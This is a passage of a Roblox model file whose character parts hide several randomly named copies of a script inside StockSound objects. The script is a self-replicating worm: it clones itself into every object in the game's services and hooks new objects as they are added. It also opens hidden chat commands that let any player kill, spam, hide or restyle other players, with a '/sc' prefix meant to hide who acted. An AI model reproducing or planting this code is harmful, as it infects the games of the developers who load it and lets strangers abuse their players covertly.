er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX117">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>13.3445539</X>
							<Y>3.29895926</Y>
							<Z>-12.110404</Z>
							<R00>0.697126448</R00>
							<R01>9.777823e-009</R01>
							<R02>0.716948211</R02>
							<R10>3.85816215e-008</R10>
							<R11>1</R11>
							<R12>-5.11530516e-008</R12>
							<R20>-0.716948211</R20>
							<R21>6.3321167e-008</R21>
							<R22>0.697126448</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX118">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">p00dc1</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX119">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">wmrdogm6i</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX120">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>11.9503012</X>
							<Y>1.29895926</Y>
							<Z>-10.6765079</Z>
							<R00>0.697126448</R00>
							<R01>9.777823e-009</R01>
							<R02>0.716948211</R02>
							<R10>3.85816215e-008</R10>
							<R11>1</R11>
							<R12>-5.11530516e-008</R12>
							<R20>-0.716948211</R20>
							<R21>6.3321167e-008</R21>
							<R22>0.697126448</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX121">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">fmgjh</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX122">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mcs83</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
